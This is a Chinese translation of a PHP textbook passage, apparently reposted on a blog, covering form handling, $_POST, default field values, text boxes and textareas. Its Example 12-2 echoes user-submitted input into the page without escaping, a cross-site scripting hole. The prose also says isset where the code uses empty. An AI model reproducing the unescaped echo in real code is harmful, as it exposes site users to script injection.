图 12-1. 在 Web 浏览器中打开 formtest.php 的结果

检索提交的数据

示例 12-1 只是多部分表单处理过程的一部分。如果您输入一个名称并单击“提交查询”按钮,除了重新显示表单(和输入的数据丢失)之外,绝对什么都不会发生。所以现在是时候添加一些 PHP 代码来处理表单提交的数据了。

示例 12-2 扩展了前一个程序,包括数据处理。键入或修改 formtest.php,通过添加新行保存为 formtest2.php,并自行尝试该程序。运行该程序并输入名称的结果如 图 12-2 所示。

示例 12-2. formtest.php 的更新版本
<?php // formtest2.php
  if (!empty(($_POST['name']))) $name = $_POST['name'];
  else $name = "(Not Entered)";

  echo <<<_END
 <html>
 <head>
 <title>Form Test</title>
 </head>
 <body>
 Your name is: $name<br>
 <form method="post" action="formtest2.php">
 What is your name?
 <input type="text" name="name">
 <input type="submit">
 </form>
 </body>
 </html>
_END;
?>

带数据处理的 formtest.php

图 12-2. 带数据处理的 formtest.php

唯一的变化是在开始时检查 $_POST 关联数组的 name 字段并将其回显给用户的几行代码。第十一章 介绍了 $_POST 关联数组,它包含 HTML 表单中每个字段的元素。在 示例 12-2 中,使用的输入名称是 name,表单方法是 POST,因此 $_POST 数组的 name 元素包含 $_POST['name'] 中的值。

PHP 的 isset 函数用于检测 $_POST['name'] 是否已被赋值。如果没有任何内容被提交,程序会赋予值 (Not entered);否则,它会存储输入的值。然后,在 <body> 语句后添加了一行来显示存储在 $name 中的值。

默认值

有时在 Web 表单中为您的访问者提供默认值是很方便的。例如,假设您在房地产网站上放置了一个贷款还款计算器小部件。输入默认值,比如说,15 年和 3% 的利率,使用户只需输入贷款总额或每月可支付金额即可。

在这种情况下,这两个值的 HTML 可能如 示例 12-3 所示。

示例 12-3. 设置默认值
<form method="post" action="calc.php"><pre>
      Loan Amount <input type="text" name="principal">
  Number of Years <input type="text" name="years"    value="15">
    Interest Rate <input type="text" name="interest" value="3">
                  <input type="submit">
</pre></form>

看一下第三个和第四个输入。通过填充 value 属性,您可以在字段中显示默认值,用户可以在需要时更改。通过合理的默认值,您通常可以通过减少不必要的输入,使您的网络表单更加用户友好。之前代码的结果看起来像是 图 12-3。当然,这是为了说明默认值而创建的,因为程序 calc.php 还没有被编写,如果您提交它,表单将返回 404 错误消息。

如果您希望从您的网页向程序传递额外信息,除了用户输入的信息,也可以使用默认值来隐藏字段。我们将在本章后面讨论隐藏字段。

使用所选表单字段的默认值

图 12-3. 使用所选表单字段的默认值

输入类型

HTML 表单非常灵活,允许您提交各种输入类型,从文本框和文本区域到复选框、单选按钮等。

文本框

您可能最常使用的输入类型是文本框。它接受单行框中的广泛字母数字文本和其他字符。文本框输入的一般格式如下:

<input type="text" name="*`name`*" size="*`size`*" maxlength="*`length`*" value="*`value`*">

我们已经讨论了namevalue属性,但在这里引入了两个新属性:sizemaxlengthsize属性指定框的宽度(以当前字体的字符数表示),maxlength指定用户允许输入的最大字符数。

唯一必需的属性是type,它告诉 Web 浏览器期望的输入类型,以及name,用于在接收提交的表单时处理字段的名称。

文本区域

当您需要接受超过短行文本的输入时,请使用文本区域。它类似于文本框,但因为允许多行输入,因此具有一些不同的属性。其一般格式如下:

<textarea name="*`name`*" cols="*`width`*" rows="*`height`*" wrap="*`type`*">
</textarea>

首先要注意的是,<textarea>具有自己的标签,并不是<input>标签的子类型。因此,需要使用闭合标签</textarea>来结束输入。

如果没有默认属性,但有要显示的默认文本,则必须将其放在闭合的</textarea>之前,然后用户可以看到并且可以编辑它:

<textarea name="*`name`*" cols="*`width`*" rows="*`height`*" wrap="*`type`*"> This is some default text. </textarea>

要控制宽度和高度,请使用colsrows属性。两者均使用当前字体的字符间距来确定区域的大小。如果省略这些值,将创建一个默认输入框,其尺寸将根据使用的浏览器而异,因此应始终定义它们,以确保表单的外观。

最后,您可以使用wrap属性控制输入框中输入的文本如何换行(以及如何将此类换行发送到服务器)。表 12-1 显示了可用的换行类型。如果您省略了wrap属性,则使用软换行。

表 12-1.

posted @ 2024-06-18 18:15  绝不原创的飞龙  阅读(21)  评论(0编辑  收藏  举报